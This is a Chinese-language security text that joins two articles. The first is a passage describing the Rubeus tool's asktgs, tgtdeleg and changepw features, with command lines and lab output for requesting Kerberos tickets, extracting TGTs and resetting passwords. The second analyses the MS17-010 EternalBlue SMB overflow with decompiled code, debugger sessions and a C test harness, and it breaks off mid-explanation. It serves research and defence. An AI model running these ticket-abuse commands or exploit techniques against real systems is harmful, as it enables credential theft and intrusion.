第一个“重大的”新功能是通用服务票据请求：
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/dc:DOMAIN_CONTROLLER] [/ptt]
asktgs 功能和 asktgt 功能一样，接受 /dc:X /ptt 参数。/ticket:X 参数一样是接受 .kirbi 文件的 base64
编码或 .kirbi 文件在磁盘上的路径。这票据是一个以 .kirbi 文件格式表示的 TGT （如前所述，完整的会话密钥），因此我们能够在一个 TGS-REQ/TGS-REP 交换中正确的请求一个服务票据。
/service:SPN 参数是必须的，用于指定要请求的服务票据的服务主体名称（SPN）。这个参数指定一个或多个以逗号分隔的 SPN 。如下所示：
C:Temptickets>Rubeus.exe asktgt /user:harmj0y /rc4:2b576acbe6bcfda7294d6bd18041b8fe
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.localharmj0y'
[*] Connecting to 192.168.52.100:88
[*] Sent 232 bytes
[*] Received 1405 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFFjCCBRKgAwIBBa...(snip)...
C:Temptickets>Rubeus.exe asktgs /ticket:doIFFjCCBRKgAwIBBa...(snip...)== /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt
______ _
(_____ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ | ___ | | | |/___)
| | | |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1384 bytes
[*] Received 1430 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFSjCCBUagAwIBBaEDA...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1384 bytes
[*] Received 1430 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFSjCCBUagAwIBBaEDAgE...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:Temptickets>C:WindowsSystem32klist.exe tickets
Current LogonId is 0:0x570ba
Cached Tickets: (2)
#0> Client: harmj0y @ TESTLAB.LOCAL
Server: cifs/primary.testlab.local @ TESTLAB.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 9/30/2018 18:17:55 (local)
End Time: 9/30/2018 23:17:01 (local)
Renew Time: 10/7/2018 18:17:01 (local)
Session Key Type: AES-128-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
#1> Client: harmj0y @ TESTLAB.LOCAL
Server: LDAP/primary.testlab.local @ TESTLAB.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 9/30/2018 18:17:55 (local)
End Time: 9/30/2018 23:17:01 (local)
Renew Time: 10/7/2018 18:17:01 (local)
Session Key Type: AES-128-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
操作上来讲，如果不是管理员权限，并且不想用
[上一篇文章描述的方法](http://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/)
将一个新的TGT覆盖当前登录会话中现有的TGT，你可以为指定账户请求一个TGT，并使用其 blob 和 asktgs 功能来请求/应用需要的服务票据。
有关服务票据接管原语的更多信息，请参考 [Sean Metcalf](https://twitter.com/PyroTek3/) 的博文 “[How
Attackers Use Kerberos Silver Tickets to Exploit
Systems](https://adsecurity.org/?p=2011)”中 “Service to Silver Ticket
Reference” 部分。
## tgtdeleg
tgtdeleg 功能是对 Kekeo 的 tgt::deleg 函数的重新编码版本，允许你在非管理员权限下提取系统的当前登录用户的可用 TGT
.kirbi文件。这利用了 Benjamin 发明的一个很酷的技巧，我将尝试详细解释一下，最后再介绍一些操作实例。
通用安全服务应用程序接口（GSS-API）是应用程序用来与安全服务交互的一个通用 API。虽然微软没有 [正式 支持 GSS-API](https://msdn.microsoft.com/en-us/library/ms995352.aspx), 但是它确实实现了
Kerberos 安全服务提供程序接口（SSPI），此接口与 Kerberos GSS-API 相兼容，意味着它支持所有常见的 Kerberos GSS-API 结构/方法。本文中将多次引用 [RFC4121](https://tools.ietf.org/html/rfc4121) 作为参考。
基本上，简单来说，你可以使用 Windows API 来请求通过 SSPI/GSS-API 发送到远程 host/SPN 的委托
TGT。这些结构中的一个包含着 KRBCRED（.kirbi）格式的当前用户的转发TGT，该 KRBCRED 被加密包含在 AP-REQ
中，以用于发送到目标服务器。用于加密 Authenticator / KRB-CRED 的会话密钥包含在目标 SPN
的服务票据中，此票据缓存于一个可访问的位置。将这些结合在一起，我们就可以在非管理员权限下提取当前用户的可用 TGT 了！
首先，使用 [AcquireCredentialsHandle()](https://msdn.microsoft.com/en-us/library/windows/desktop/aa374713\(v=vs.85).aspx) 来获取当前用户现有 Kerberos
凭据的句柄。我们要为 fCredentialUse 参数指定 SECPKG_CRED_OUTBOUND，这将 “允许本地客户端凭证准备一个传出令牌”。
然后，使用 AcquireCredentialsHandle() 返回的凭据句柄和
[InitializeSecurityContext()](https://msdn.microsoft.com/en-us/library/windows/desktop/aa375507\(v=vs.85).aspx) 建立一个“客户端的，出站安全上下文
”。这里的技巧是为 fContextReq 参数指定 ISC_REQ_DELEGATE 和 ISC_REQ_MUTUAL_AUTH 标志。这将请求一个委派
TGT，意思是“服务器可以使用这个上下文来作为客户端向其他服务器进行认证。 ” 我们还为 pszTargetName 参数指定一个 SPN，此 SPN
代表的服务器应为无约束委派的（默认为 HOST/DC.domain.com）。这就是我们假装要进行委派请求的 SPN/服务器。
当触发这个 API 调用时将发生什么？
首先，将发生 TGS-REQ/TGS-REP 交换来请求我们假装要委派的 SPN
的服务票据。这样就将在目标服务器和我们发起连接的主机之间建立一个共享会话密钥。服务票据存储在本地的 Kerberos
缓存中，意味着我们稍后可以提取这个共享会话密钥。
接下来，将为当前用户请求一个转发TGT。转发票据的更多信息，请参考“什么是转发票据”的[章节](https://technet.microsoft.com/pt-pt/library/cc772815\(v=ws.10).aspx)。KDC将使用当前TGT的单独会话密钥返回一个新的
TGT。系统将使用这个转发TGT为目标服务器建立一个 AP-REQ 请求，此请求中的认证器包含着转发TGT的可用 KRB-CRED 编码。这在
RFC4121 的 “4.1.1. Authenticator Checksum” 章节有说明。
最终的结果是什么呢？如果所有步骤都成功，我们将得到以SSPI[ SecBuffer](https://docs.microsoft.com/en-us/windows/desktop/api/sspi/ns-sspi-_secbuffer) 结构编码的 AP-ERQ(包含新TGT的.kirbi)，被传递给 InitializeSecurityContext() 的 pOutput
指针所指向。我们可以在输出流中搜索 [ KerberosV5
OID](https://github.com/gentilkiwi/kekeo/blob/fd852374dfcfae4ddf5e19e4d8eeb03833f08963/kekeo/modules/kuhl_m_tgt.c#L329-L345)，并从
GSS-API 输出中提取 AP-REQ。
然后就可以
[从缓存中](https://github.com/GhostPack/Rubeus/blob/4c9145752395d48a73faf326c4ae57d2c565be7f/Rubeus/lib/LSA.cs#L1247-L1248)
提取服务票据会话密钥并使用此密钥解密从 AP-REQ 中提取的
[认证器](https://github.com/GhostPack/Rubeus/blob/4c9145752395d48a73faf326c4ae57d2c565be7f/Rubeus/lib/LSA.cs#L1468-L1469)。最后我们可以从认证器校验和中提取编码的
KRB-CRED，并输出为可用的 TGT .kirbi:
成功！m/
从操作的角度来看，这是一个比较小众的功能。我能想到的主要应用场景是，在一个环境中你已经控制了多个客户端，并且至少有一台主机你没有获取管理员权限。从这台主机上，你可以用Rubeus的
tgtdeleg 功能提取当前用户的 TGT，并将其和 /autorenew 标志一起传递给运行在另一台主机上的 Rubeus 的 renew
函数。这将允许你在不提权的情况下提取当前用户的凭证，并在另一台主机上进行最多7天（默认）的续订。
无论这个 TTP 是否有实际用处，理解和重新编码的过程给我带来了很多乐趣:)
## changepw
changepw 操作（即Kekeo中的 misc::changepw）是 @Aorato POC 的一个实现版本，允许攻击者利用一个 TGT .kirbi
修改用户的明文口令（无须知道口令的当前值）。将此与 asktgt 和用户的
rc4_hmac/aes128_cts_hmac_sha1/aes256_cts_hmac_sha1
哈希结合起来，意味着攻击者可以在已知用户口令hash的情况下轻松地强制重置一个用户的明文口令。或者，如果使用 Rubeus 的 dump
命令（管理员权限下）的话，攻击者只需用LSA API提取票据就能强制重置一个用户的口令。
在 [RFC3244](https://tools.ietf.org/html/rfc3244.html) (Microsoft Windows 2000
Kerberos Change Password and Set Password Protocols.)
中解释了这个过程。以下是发送到域控的464端口（kpasswd）的数据格式：
有两个主要的部分：一个 AP-REQ 和一个特殊构造的 [KRB-PRIV](https://github.com/gentilkiwi/kekeo/blob/fd852374dfcfae4ddf5e19e4d8eeb03833f08963/modules/asn1/KerberosV5Spec2.asn#L289-L294)
ASN.1 结构。AP-REQ 消息包含用户的 TGT blob，以及使用TGT .kribi中包含的TGT会话密钥加密的
[验证器](https://github.com/gentilkiwi/kekeo/blob/fd852374dfcfae4ddf5e19e4d8eeb03833f08963/modules/asn1/KerberosV5Spec2.asn#L248-L258)
。验证器必须具有随机
[子会话密钥](https://github.com/gentilkiwi/kekeo/blob/fd852374dfcfae4ddf5e19e4d8eeb03833f08963/modules/asn1/KerberosV5Spec2.asn#L255)集，用于加密后面的
KRB-PRIV 结构。KRB-PRIV
包含新的明文口令，[序列/随机数](https://github.com/gentilkiwi/kekeo/blob/fd852374dfcfae4ddf5e19e4d8eeb03833f08963/inc/globals.h#L34),
和
[发送者的主机地址](https://github.com/gentilkiwi/kekeo/blob/fd852374dfcfae4ddf5e19e4d8eeb03833f08963/modules/asn1/KerberosV5Spec2.asn#L301)
（可任意指定）。
如果口令设置成功，则将返回一个 KRB-PRIV 结构，结构代码为0（KRB5_KPASSWD_SUCCESS）。错误代码为 KRB-ERROR
或其他错误代码。（在 [RFC3244](https://tools.ietf.org/html/rfc3244.html) 的第二部分末尾处定义）
注意： 我不确定具体原因，使用 tgtdeleg 技巧提取的票据无法与此 changepw 方法一起使用，会返回一个
KRB5_KPASSWD_MALFORMED 错误。我用 Rubeus 和 Kekeo 都测试了，都是一样的结果。
## 其他变化
[其他更改/修复](https://github.com/GhostPack/Rubeus/blob/master/CHANGELOG.md#110---2018-09-31)
1. s4u 操作现在接受多个可选 snames (/altservice:X,Y,… )
* 仅执行一次 S4U2self/S4U2proxy 过程，并将多个可选服务名称替换到最终返回的服务票据结果中，以获得尽可能多的 snames。
2. 修正了 kerberoast 操作的哈希输出的encType提取，并将 KerberosRequestorSecurityToken.GetRequest 方法归功于 @machosec。
3. 修正了 asreproast hash的salt分界线，并添加了 Hashcat 的哈希输出格式。
4. 修正了 dump 操作中的一个bug——现在可以正确提取完整的 ServiceName/TargetName 字符串。
5. 我添加了一个基于 [CHANGELOG.md](https://github.com/GhostPack/Rubeus/blob/master/CHANGELOG.md) 的 [Keep a Changelog](https://keepachangelog.com/en/1.0.0/) 来记录当前和将来的一些修改。 | 社区文章 |
# 【漏洞分析】MS 17-010：NSA Eternalblue SMB 漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全卫士技术博客
原文地址：<http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**环境**
**EXPLOIT:**
Eternalblue-2.2.0.exe
**TARGET:**
win7 sp1 32bits
srv.sys 6.1.7601.17514
srvnet.sys 6.1.7601.17514
**PATCH:**
MS17-010
**漏洞原理**
srv.sys在处理SrvOs2FeaListSizeToNt的时候逻辑不正确导致越界拷贝。我们首先看下漏洞的触发点：
unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2)
{
int v4; // edi@1
_BYTE *v5; // edi@1
unsigned int result; // eax@1
v4 = a1 + 8;
*(_BYTE *)(a1 + 4) = *(_BYTE *)a2;
*(_BYTE *)(a1 + 5) = *(_BYTE *)(a2 + 1);
*(_WORD *)(a1 + 6) = *(_WORD *)(a2 + 2);
_memmove((void *)(a1 + 8), (const void *)(a2 + 4), *(_BYTE *)(a2 + 1));
v5 = (_BYTE *)(*(_BYTE *)(a1 + 5) + v4);
*v5++ = 0;
_memmove(v5, (const void *)(a2 + 5 + *(_BYTE *)(a1 + 5)), *(_WORD *)(a1 + 6)); //这里产生的越界覆盖
result = (unsigned int)&v5[*(_WORD *)(a1 + 6) + 3] & 0xFFFFFFFC;
*(_DWORD *)a1 = result - a1;
return result;
}
发生越界的地方见上面第二个memmove。调试的时候可以这样下断点：
kd> u srv!SrvOs2FeaToNt+0x4d
srv!SrvOs2FeaToNt+0x4d:
9877b278 ff15e0a07698 call dword ptr [srv!_imp__memmove (9876a0e0)]
9877b27e 0fb74606 movzx eax,word ptr [esi+6]
9877b282 8d441803 lea eax,[eax+ebx+3]
9877b286 83e0fc and eax,0FFFFFFFCh
9877b289 83c418 add esp,18h
9877b28c 8bc8 mov ecx,eax
9877b28e 2bce sub ecx,esi
9877b290 5f pop edi
//最后一次越界的拷贝的长度是0xa8
ba e1 srv!SrvOs2FeaToNt+0x4d ".if(poi(esp+8) != a8){gc} .else {}"
这么设断点的原因是最后一次越界的拷贝的长度是0xa8,断下来后可以发现：
kd> dd esp
99803b38 88c8dff9 a3fc203a 000000a8 88c8dff8
99803b48 a3fc2039 00000000 a3fb20d8 a3fc2035
99803b58 a3fd2030 99803b7c 9877b603 88c8dff0
99803b68 a3fc2035 88307360 a3fb20b4 a3fb2008
99803b78 a3fc2035 99803bb4 98794602 88c8dff0
99803b88 99803bbc 99803ba8 99803bac 88307360
99803b98 a3fb2008 00000002 a3fb20b4 a3fb20d8
99803ba8 00010fe8 00000000 00000000 99803c00
kd> !pool 88c8dff9
Pool page 88c8dff9 region is Nonpaged pool
*88c7d000 : large page allocation, tag is LSdb, size is 0x11000 bytes
Pooltag LSdb : SMB1 data buffer, Binary : srv.sys
kd> !pool 88c8e009
Pool page 88c8e009 region is Nonpaged pool
88c8e000 size: 8 previous size: 0 (Free) ....
88c8e008 doesn't look like a valid small pool allocation, checking to see
if the entire page is actually part of a large page allocation...
*88c8e000 : large page allocation, tag is LSbf, size is 0x11000 bytes
Pooltag LSbf : SMB1 buffer descriptor or srvnet allocation, Binary : srvnet.sys
kd> ? 88c7d000 +11000
Evaluate expression: -2000101376 = 88c8e000
kd> ? 88c8dff9 +a8
Evaluate expression: -2000101215 = 88c8e0a1 //这里明显越界了。
我们可以从上面的调试记录看到明显的越写拷贝操作。可以看到被覆盖的是SMB1的buffer是有srvnet.sys分配的。这里exploit精心布局好的，是通过pool喷射的将两个pool连接在一起的。覆盖后面的这个pool有啥用后面会提到。
有同学会说”这只是现象,漏洞真正的成因在哪里呢？”。往下看：
unsigned int __fastcall SrvOs2FeaListSizeToNt(int pOs2Fea)
{
unsigned int v1; // edi@1
int Length; // ebx@1
int pBody; // esi@1
unsigned int v4; // ebx@1
int v5; // ecx@3
int v8; // [sp+10h] [bp-8h]@3
unsigned int v9; // [sp+14h] [bp-4h]@1
v1 = 0;
Length = *(_DWORD *)pOs2Fea;
pBody = pOs2Fea + 4;
v9 = 0;
v4 = pOs2Fea + Length;
while ( pBody < v4 )
{
if ( pBody + 4 >= v4
|| (v5 = *(_BYTE *)(pBody + 1) + *(_WORD *)(pBody + 2),
v8 = *(_BYTE *)(pBody + 1) + *(_WORD *)(pBody + 2),
v5 + pBody + 5 > v4) )
{
//
// 注意这里修改了Os2Fea的Length，自动适应大小
// 初始值是0x10000,最终变成了0x1ff5d
//
*(_WORD *)pOs2Fea = pBody - pOs2Fea;
return v1;
}
if ( RtlULongAdd(v1, (v5 + 0xC) & 0xFFFFFFFC, &v9) < 0 )
return 0;
v1 = v9;
pBody += v8 + 5;
}
return v1;
}
unsigned int __fastcall SrvOs2FeaListToNt(int pOs2Fea, int *pArgNtFea, int *a3, _WORD *a4)
{
__int16 v5; // bx@1
unsigned int Size; // eax@1
NTFEA *pNtFea; // ecx@3
int pOs2FeaBody; // esi@9
int v10; // edx@9
unsigned int v11; // esi@14
int v12; // [sp+Ch] [bp-Ch]@11
unsigned int v14; // [sp+20h] [bp+8h]@9
v5 = 0;
Size = SrvOs2FeaListSizeToNt(pOs2Fea);
*a3 = Size;
if ( !Size )
{
*a4 = 0;
return 0xC098F0FF;
}
pNtFea = (NTFEA *)SrvAllocateNonPagedPool(Size, 0x15);
*pArgNtFea = (int)pNtFea;
if ( pNtFea )
{
pOs2FeaBody = pOs2Fea + 4;
v10 = (int)pNtFea;
v14 = pOs2Fea + *(_DWORD *)pOs2Fea - 5;
if ( pOs2Fea + 4 > v14 )
{
LABEL_13:
if ( pOs2FeaBody == pOs2Fea + *(_DWORD *)pOs2Fea )
{
*(_DWORD *)v10 = 0;
return 0;
}
v11 = 0xC0000001;
*a4 = v5 - pOs2Fea;
}
else
{
while ( !(*(_BYTE *)pOs2FeaBody & 0x7F) )
{
v12 = (int)pNtFea;
v5 = pOs2FeaBody;
pNtFea = (NTFEA *)SrvOs2FeaToNt(pNtFea, pOs2FeaBody);
pOs2FeaBody += *(_BYTE *)(pOs2FeaBody + 1) + *(_WORD *)(pOs2FeaBody + 2) + 5;
//
// 由于SrvOs2FeaListSizeToNt将pOs2Fea的Length改大了。
// 而且变得大了不少，所以这里的判读就没有什么意义了。最终导致越界的产生。
//
if ( pOs2FeaBody > v14 )
{
v10 = v12;
goto LABEL_13;
}
}
*a4 = pOs2FeaBody - pOs2Fea;
v11 = 0xC000000D;
}
SrvFreeNonPagedPool(*pArgNtFea);
return v11;
}
if ( BYTE1(WPP_GLOBAL_Control->Flags) >= 2u && WPP_GLOBAL_Control->Characteristics & 1 && KeGetCurrentIrql() < 2u )
{
_DbgPrint("SrvOs2FeaListToNt: Unable to allocate %d bytes from nonpaged pool.", *a3, 0);
_DbgPrint("n");
}
return 0xC0000205;
}
首先SrvOs2FeaListToNt首先调用SrvOs2FeaListSizeToNt计算pNtFea的大小。这里注意了SrvOs2FeaListSizeToNt函数会修改原始的pOs2Fea中的Length大小,然后以计算出来的Length来分配pNtFea.最后调用SrvOs2FeaToNt来实现转换。SrvOs2FeaToNt后面的判断就有问题了。这里还不止一个问题。
1\. 转换完成后，增加pOs2FeaBody然后比较。正确的逻辑难道不应该是先判断再转换吗？
2\. 由于SrvOs2FeaListSizeToNt中改变了pOs2Fea的length的值，这里使用变大后的值做比较，肯定会越界。
为了方便同学们调试，我把代码扣出来了。大家可以在环3围观下这段代码。
#include <windows.h>
signed int RtlULongAdd(unsigned int a1, int a2, unsigned int *a3)
{
unsigned int v3; // edx@1
signed int result; // eax@2
v3 = a1 + a2;
if (v3 < a1)
{
*a3 = -1;
result = -1073741675;
} else
{
*a3 = v3;
result = 0;
}
return result;
}
unsigned int SrvOs2FeaListSizeToNt(PUCHAR pOs2Fea)
{
unsigned int v1; // edi@1
int Length; // ebx@1
PUCHAR pBody; // esi@1
PUCHAR v4; // ebx@1
int v5; // ecx@3
int v8; // [sp+10h] [bp-8h]@3
unsigned int v9; // [sp+14h] [bp-4h]@1
v1 = 0;
Length = *(DWORD*)pOs2Fea;
pBody = pOs2Fea + 4;
v9 = 0;
v4 = pOs2Fea + Length;
while (pBody < v4)
{
if (pBody + 4 >= v4
|| (v5 = *(BYTE *)(pBody + 1) + *(WORD *)(pBody + 2),
v8 = *(BYTE *)(pBody + 1) + *(WORD *)(pBody + 2),
v5 + pBody + 5 > v4))
{
*(WORD *)pOs2Fea = pBody - pOs2Fea;
return v1;
}
if (RtlULongAdd(v1, (v5 + 0xC) & 0xFFFFFFFC, &v9) < 0)
return 0;
v1 = v9;
pBody += v8 + 5;
}
return v1;
}
PUCHAR gpBuffer = NULL;
ULONG guSize = 0;
PUCHAR SrvOs2FeaToNt(PUCHAR pNtFea, PUCHAR pOs2FeaBody)
{
PUCHAR pBody; // edi@1
BYTE *pNtBodyStart; // edi@1
PUCHAR result; // eax@1
pBody = pNtFea + 8;
*(BYTE *)(pNtFea + 4) = *(BYTE *)pOs2FeaBody;
*(BYTE *)(pNtFea + 5) = *(BYTE *)(pOs2FeaBody + 1);
*(WORD *)(pNtFea + 6) = *(WORD *)(pOs2FeaBody + 2);
memcpy((void *)(pNtFea + 8), (const void *)(pOs2FeaBody + 4), *(BYTE *)(pOs2FeaBody + 1));
pNtBodyStart = (BYTE *)(*(BYTE *)(pNtFea + 5) + pBody);
*pNtBodyStart++ = 0;
if ((pNtBodyStart + *(WORD *)(pNtFea + 6)) > (gpBuffer + guSize)){
__debugbreak();
}
memcpy(pNtBodyStart, (const void *)(pOs2FeaBody + 5 + *(BYTE *)(pNtFea + 5)), *(WORD *)(pNtFea + 6));
result = (PUCHAR)((ULONG_PTR)&pNtBodyStart[*(WORD *)(pNtFea + 6) + 3] & 0xFFFFFFFC);
*(DWORD *)pNtFea = result - pNtFea;
static int j = 0;
printf("j=%dn", j++);
return result;
}
int main()
{
FILE* pFile = fopen("1.bin", "r+b");
fseek(pFile, 0, SEEK_END);
ULONG uSize = (ULONG)ftell(pFile);
fseek(pFile, 0, SEEK_SET);
PUCHAR pOs2Fea = (PUCHAR)malloc(uSize);
fread(pOs2Fea, 1, uSize, pFile);
fclose(pFile);
ULONG uFixSize = SrvOs2FeaListSizeToNt(pOs2Fea);
PUCHAR pOs2FeaBody;
PUCHAR pNtFea = (PUCHAR)malloc(uFixSize);
PUCHAR v10;
PUCHAR v14;
PUCHAR v12;
PUCHAR v5;
LONG v11;
PUCHAR pNtFeaEnd = pNtFea + uFixSize;
gpBuffer = pNtFea;
guSize = uFixSize;
if (pNtFea)
{
pOs2FeaBody = pOs2Fea + 4;
v10 = pNtFea;
v14 = pOs2Fea + *(DWORD *)pOs2Fea - 5;
if (pOs2Fea + 4 > v14)
{
LABEL_13:
if (pOs2FeaBody == pOs2Fea + *(DWORD *)pOs2Fea)
{
*(DWORD *)v10 = 0;
return 0;
}
v11 = 0xC0000001;
//*a4 = v5 - pOs2Fea;
} else{
while (!(*(BYTE *)pOs2FeaBody & 0x7F))
{
v12 = pNtFea;
v5 = pOs2FeaBody;
pNtFea = SrvOs2FeaToNt(pNtFea, pOs2FeaBody);
pOs2FeaBody += *(BYTE *)(pOs2FeaBody + 1) + *(WORD *)(pOs2FeaBody + 2) + 5;
if (pOs2FeaBody > v14)
{
v10 = v12;
goto LABEL_13;
}
}
//*a4 = pOs2FeaBody - pOs2Fea;
v11 = 0xC000000D;
}
return v11;
}
return 0;
}
看到我加了个__debugbreak的地方，断在那里就说明溢出了
1.bin的内容最后我会给大家带上。
大家也可以自己抓1.bin的内容，方法如下：
kd> u SrvOs2FeaListToNt
srv!SrvOs2FeaListToNt:
9877b565 8bff mov edi,edi
9877b567 55 push ebp
9877b568 8bec mov ebp,esp
9877b56a 51 push ecx
9877b56b 8365fc00 and dword ptr [ebp-4],0
9877b56f 56 push esi
9877b570 57 push edi
9877b571 8b7d08 mov edi,dword ptr [ebp+8]
9877b574 57 push edi
9877b575 e82effffff call srv!SrvOs2FeaListSizeToNt (9877b4a8)
kd> ba e1 9877b575
kd> g
Breakpoint 0 hit
srv!SrvOs2FeaListToNt+0x10:
9877b575 e82effffff call srv!SrvOs2FeaListSizeToNt (9877b4a8)
kd> !pool edi
Pool page a3fd10d8 region is Paged pool
*a3fd1000 : large page allocation, tag is LStr, size is 0x11000 bytes
Pooltag LStr : SMB1 transaction, Binary : srv.sys
kd> .writemem 1.bin a3fd10d8 l0x11000-d8
**漏洞利用**
我们先来看pool数据覆盖的情况。
覆盖前
8d1aa000 00 10 01 00 00 00 00 00 58 00 00 00 70 ........X...p
8d1aa00d 09 11 95 08 00 00 00 08 2f 1f 9f 08 2f ......../.../
8d1aa01a 1f 9f 60 a1 1a 8d a0 0e 01 00 80 00 00 ..`..........
8d1aa027 00 3c a0 1a 8d 00 00 00 00 f7 ff 00 00 .............
8d1aa034 10 a0 1a 8d a4 a0 1a 8d 00 00 00 00 60 ............`
8d1aa041 00 04 10 00 00 00 00 60 a1 1a 8d 00 a0 .......`.....
8d1aa04e 1a 8d a0 0e 01 00 60 01 00 00 d5 8e 01 ......`......
8d1aa05b 00 d4 8e 01 00 13 8d 01 00 92 6f 00 00 ..........o..
8d1aa068 11 36 01 00 10 6a 00 00 4f 9a 03 00 8e .6...j..O....
8d1aa075 4d 01 00 4d d6 00 00 0c 6f 00 00 4b 71 M..M....o..Kq
8d1aa082 00 00 8a 99 03 00 c9 6d 00 00 c8 70 00 .......m...p.
8d1aa08f 00 c7 69 00 00 86 35 01 00 05 94 03 00 ..i...5......
8d1aa09c 70 09 11 95 28 00 00 00 00 00 00 00 64 p...(.......d
8d1aa0a9 00 00 00 70 09 11 95 38 00 00 00 00 00 ...p...8.....
8d1aa0b6 00 00 a0 0e 01 00 ff 0f 00 00 28 a5 00 ..........(..
8d1aa0c3 00 70 09 11 95 30 a5 00 00 70 09 11 95 .p...0...p...
8d1aa0d0 38 a5 00 00 70 09 11 95 40 a5 00 00 70 [email protected]
8d1aa0dd 09 11 95 48 a5 00 00 70 09 11 95 50 a5 ...H...p...P.
8d1aa0ea 00 00 70 09 11 95 58 a5 00 00 70 09 11 ..p...X...p..
8d1aa0f7 95 f0 04 00 00 70 09 11 95 f8 04 00 00 .....p.......
8d1aa104 70 09 11 95 00 05 00 00 70 09 11 95 4e p.......p...N
8d1aa111 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN
8d1aa11e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN
8d1aa12b 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN
8d1aa138 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN
8d1aa145 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN
8d1aa152 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN
8d1aa15f 4e fe 53 4d 42 00 00 00 00 00 00 00 00 N.SMB........
覆盖后
8d1aa000 00 00 00 00 00 00 00 00 ff ff 00 00 00 .............
8d1aa00d 00 00 00 ff ff 00 00 00 00 00 00 00 00 .............
8d1aa01a 00 00 00 00 00 00 00 00 00 00 00 00 00 .............
8d1aa027 00 00 f1 df ff 00 00 00 00 00 00 00 00 .............
8d1aa034 20 f0 df ff 00 f1 df ff ff ff ff ff 60 ...........`
8d1aa041 00 04 10 00 00 00 00 80 ef df ff 00 00 .............
8d1aa04e 00 00 10 00 d0 ff ff ff ff ff 18 01 d0 .............
8d1aa05b ff ff ff ff ff 00 00 00 00 00 00 00 00 .............
8d1aa068 00 00 00 00 00 00 00 00 60 00 04 10 00 ........`....
8d1aa075 00 00 00 00 00 00 00 00 00 00 00 90 ff .............
8d1aa082 cf ff ff ff ff ff 00 00 00 00 00 00 00 .............
8d1aa08f 00 80 10 00 00 00 00 00 00 00 00 00 00 .............
8d1aa09c 00 00 00 00 4b 00 00 00 00 00 00 00 64 ....K.......d
8d1aa0a9 00 00 00 70 09 11 95 38 00 00 00 00 00 ...p...8.....
8d1aa0b6 00 00 a0 0e 01 00 ff 0f 00 00 28 a5 00 ..........(..
8d1aa0c3 00 70 09 11 95 30 a5 00 00 70 09 11 95 .p...0...p...
8d1aa0d0 38 a5 00 00 70 09 11 95 40 a5 00 00 70 [email protected]
8d1aa0dd 09 11 95 48 a5 00 00 70 09 11 95 50 a5 ...H...p...P.
8d1aa0ea 00 00 70 09 11 95 58 a5 00 00 70 09 11 ..p...X...p..
8d1aa0f7 95 f0 04 00 00 70 09 11 95 f8 04 00 00 .....p.......
8d1aa104 70 09 11 95 00 05 00 00 70 09 11 95 4e p.......p...N
8d1aa111 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN
8d1aa11e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN
8d1aa12b 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN
8d1aa138 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN
8d1aa145 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN
8d1aa152 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN
8d1aa15f 4e fe 53 4d 42 00 00 00 00 00 00 00 00 N.SMB........
在将下面SrvNet分配的对象覆盖前面的a1字节后。由于被覆盖的pool里面存在用于接收数据的buffer的指针。像上面描述的0x8d1aa034(0xffd0f020)这个地方的指针（我发懒了没有去确定到底是哪一个）。srvnet在接收包的时候就会在固定0xffdff000这个地址存入客户端发送来的数据。
0xffdff0000这个地址是什么？wrk中有定义，如下：
// addressed from 0xffdf0000 - 0xffdfffff are reserved for the system
// begin_ntddk begin_ntosp
#define KI_USER_SHARED_DATA 0xffdf0000
#define SharedUserData ((KUSER_SHARED_DATA * const) KI_USER_SHARED_DATA)
